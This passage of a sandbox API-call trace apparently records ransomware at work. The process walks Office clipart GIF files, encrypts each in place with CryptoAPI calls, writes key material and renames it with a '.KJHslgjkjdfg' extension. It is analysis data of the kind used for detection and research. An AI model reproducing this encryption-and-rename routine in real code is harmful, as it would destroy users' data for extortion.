lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.418] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.418] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.418] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.418] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.418] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c30, lpOverlapped=0x0) returned 1 [0153.419] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c30) returned 1 [0153.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.419] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c30, lpOverlapped=0x0) returned 1 [0153.419] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.420] SetEndOfFile (hFile=0x114) returned 1 [0153.423] GetProcessHeap () returned 0x2a0000 [0153.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.423] GetProcessHeap () returned 0x2a0000 [0153.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.kjhslgjkjdfg")) returned 1 [0153.424] CloseHandle (hObject=0x114) returned 1 [0153.424] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0153.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.426] GetProcessHeap () returned 0x2a0000 [0153.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.427] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.427] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0153.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.430] GetProcessHeap () returned 0x2a0000 [0153.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.430] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.430] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.431] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.431] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.431] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.431] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a19, lpOverlapped=0x0) returned 1 [0153.432] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a20) returned 1 [0153.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.432] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a20, lpOverlapped=0x0) returned 1 [0153.432] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.433] SetEndOfFile (hFile=0x114) returned 1 [0153.435] GetProcessHeap () returned 0x2a0000 [0153.435] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.436] GetProcessHeap () returned 0x2a0000 [0153.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.kjhslgjkjdfg")) returned 1 [0153.437] CloseHandle (hObject=0x114) returned 1 [0153.437] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0153.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.439] GetProcessHeap () returned 0x2a0000 [0153.439] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.439] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.439] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.439] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.442] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.442] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.442] GetProcessHeap () returned 0x2a0000 [0153.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.442] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.442] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.442] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.442] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.442] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.443] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.443] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.443] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a1c, lpOverlapped=0x0) returned 1 [0153.444] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a20, dwBufLen=0x1a20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a20) returned 1 [0153.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.444] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a20, lpOverlapped=0x0) returned 1 [0153.444] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.444] SetEndOfFile (hFile=0x114) returned 1 [0153.447] GetProcessHeap () returned 0x2a0000 [0153.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.447] GetProcessHeap () returned 0x2a0000 [0153.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.kjhslgjkjdfg")) returned 1 [0153.449] CloseHandle (hObject=0x114) returned 1 [0153.449] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0153.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.450] GetProcessHeap () returned 0x2a0000 [0153.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.450] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.450] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0153.453] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.453] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.453] GetProcessHeap () returned 0x2a0000 [0153.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.453] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.453] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.454] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.454] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.454] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.454] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.454] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.454] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.454] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.454] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcb3, lpOverlapped=0x0) returned 1 [0153.454] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcc0) returned 1 [0153.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcc0, lpOverlapped=0x0) returned 1 [0153.455] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] SetEndOfFile (hFile=0x114) returned 1 [0153.458] GetProcessHeap () returned 0x2a0000 [0153.458] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.458] GetProcessHeap () returned 0x2a0000 [0153.458] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.kjhslgjkjdfg")) returned 1 [0153.460] CloseHandle (hObject=0x114) returned 1 [0153.460] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0153.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.461] GetProcessHeap () returned 0x2a0000 [0153.461] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.461] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.461] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0153.463] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.463] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.463] GetProcessHeap () returned 0x2a0000 [0153.463] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.463] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.463] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.464] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.464] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.464] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.464] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.464] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.464] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.464] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.464] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.464] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.465] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1fa1, 